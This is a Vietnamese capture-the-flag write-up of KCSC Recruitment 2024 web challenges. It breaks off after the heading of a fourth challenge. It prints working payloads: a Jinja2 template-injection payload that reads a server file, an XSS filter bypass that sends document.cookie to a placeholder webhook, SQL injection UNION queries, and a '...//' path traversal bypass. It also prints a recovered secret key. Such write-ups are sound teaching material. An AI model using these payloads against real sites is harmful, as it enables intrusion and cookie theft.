# WRITEUP KCSC RECRUITMENT MB 2024-WEB EXPLOITATION
## I. Now you see me

* Chall cho ta nhập `Input` là tên của user vào bên trong và sau đó redirect đến trang `/register`. Sau đó view source thì ta thấy được dòng comment như sau

* Thử vào `/flag.txt` nhưng kết quả lại là `404` và mình thấy input nhập vào từ msg box nên có khả năng server bị lỗi `SSTI`
* Ta chèn payload `{{2*2}}` vào `Input` để check thử

* Ok! Server bị lỗi `SSTI`. Tiếp theo ta cần biết được lỗi này liên quan đến Template Engine nào(Jinja2,Twig,...). Cách đơn giản để check là dùng payload `{{7*'7'}}`.

* Ta nhận được kết quả ở comment là `7777777` tức là `Template Engine` của server đang sử dụng là Jinja2. Ta có `Payload Inject` như sau `{{ self.__init__.__globals__.__builtins__.open('/flag.txt').read() }}
`

> KCSC{flagrandomngaunhienlagicungdu0c}
## II. X ec ec

* Server dùng để render code `HTML` mình thử nhập payload để check cơ bản `<script> alert(1) </script>`

* Nhận thấy rẳng Server đã filter các chữ như script,....

* View source ta thấy được hàm JS dùng để lọc `Input` của user. Ở hàm filterHTML thì filters lọc là các câu lệnh có chữ `script, on, javascript`. Nhưng như thế là chưa đủ, ta vẫn có thể dùng các thẻ `HTML` và inline là `JS` để đánh lừa filter.
* Ở đây mình sẽ dùng thẻ img là cách đơn giản và nhanh nhất để trigger ```<image src="javascript:fetch(`Your_WebHook?a=${document.cookie}`)">```

> KCSC{XSS_s0_ez_c51242915de4a05d20ac3870c87a9da1}
## III. KCSC x Jujutsu Kaisen
* Chall cho ta source nên mình sẽ dựng Docker để exploit trước. Dạo qua phần giao diện của server.

* Chúng ta sẽ có các thẻ gồm các câu dialouge của các nhân vật, click để đọc một hồi thì mình thấy điều bất thường ở nhân vật `Toge`

* Có lẽ như câu dialouge này đã được `encode` và có thể đây là phần của `flag`.
* Đến phần source code thì ta có thể dễ dàng phát hiện được server ta dễ dàng nhận thấy được Server đã bị dính 3 lỗi là `SQLI`, `Path Traversal` và `XSS`. Do `XSS` không hề có phần tương tác với admin hoặc user nên mình sẽ bỏ qua lỗ hỏng này.

* Server bị dính SQLI do không check phần input là `username` của người dùng nhập vào, mặc dù có dùng `prepare` nhưng không có tham số ràng buộc `(bind_param)` do đó khiến `$username` có thể inject được

* Hàm `str_replace` dùng để filter `Path Traversal` nhưng do chỉ replace môi dấu `./` nên ta có thể bypass bằng cách double `./` như này `...//`
--> Giờ đến phần khai thác SQLI để lấy dữ liệu trong database. Mình có payload `'or 1=1-- -./` để check thử. Lý do có `./` ở đây chính là để không bị bypass SQLI. Do server đã được cấu hình để chặn các ký tự ``./`` như một cách phòng chống `Path Traversal`. Tuy nhiên, nếu thêm `./` vào cuối payload SQLI và sau đó nó bị xóa bởi `str_replace()`, chuỗi sau khi thay thế vẫn hợp lệ để SQL Injection hoạt động, vì `str_replace()`` chỉ thao tác trên đường dẫn file và không ảnh hưởng đến câu lệnh SQL.

* Với payload trên server đã bị SQLi và trả ra tất cả bảng trong table ta cần, và phần dialouge khó đọc kia chính là của `Toge`

* Check file init.sql ta cũng có thể thấy được rằng flag nằm trong cột 2 của `Toge` và bị encode bởi hàm `ENC_REDACTED` và ta cũng có hàm `DECRYPT_REDACTED` để encode và key ở local là `REDACTED`. Ta có payload Inject `'UNION+SELECT+DECRYPT_RADACTED(dialogue,'REDACTED')+FROM+users+WHERE+username='toge'--+-./`

* Done, payload đã đúng, việc cần làm bây giờ là làm sao để có thể lấy được tên hàm decrypt và `key`
* Ở đây mình sẽ tìm tên hàm trước bằng payload ở server `UNION SELECT 1, GROUP_CONCAT(ROUTINE_NAME) FROM information_schema.ROUTINES WHERE ROUTINE_TYPE='FUNCTION'-- -
`. Payload này sẽ tìm tất cả các hàm có sẵn trong database

* Ta đã thấy được tên hai hàm `ENC` và `DECRYPT`. Tiếp đến chỉ cần tìm được `KEY`.
* Ở đây mình sẽ tận dụng lỗ hỏng Path Traversal trước đó để có thể đi đến file index.php và đọc được `Key`
* Như ta đã biết server sẽ filter `./` nên ta có payload để đọc index.php là `...//index.php` do ta đang ở folder images theo cấp phân mục ở source do đó ta phải lùi 1 cấp để đọc được index.php

* 
Ta được một lượng thông tin được enc `Base64` decrypt bằng `Cyberchef` thì lấy được `Key`

-> Tiến hành Get Flag ở server với payload như cũ và thay Key+ Tên hàm Decrypt vào ta có `'UNION SELECT DECRYPT_DIALOGUE_xckQopBS4HrTe8b9(dialogue,'$up3r_$3cr3t_4_$3cur3') FROM users WHERE username='toge'-- -`

> KCSC{https://www.youtube.com/watch?v=bX2dMtKEtdU#_p4km3QbeGVPZjrNoviGDQBSYdzeG1VCb}
## IV. Easy Upload
*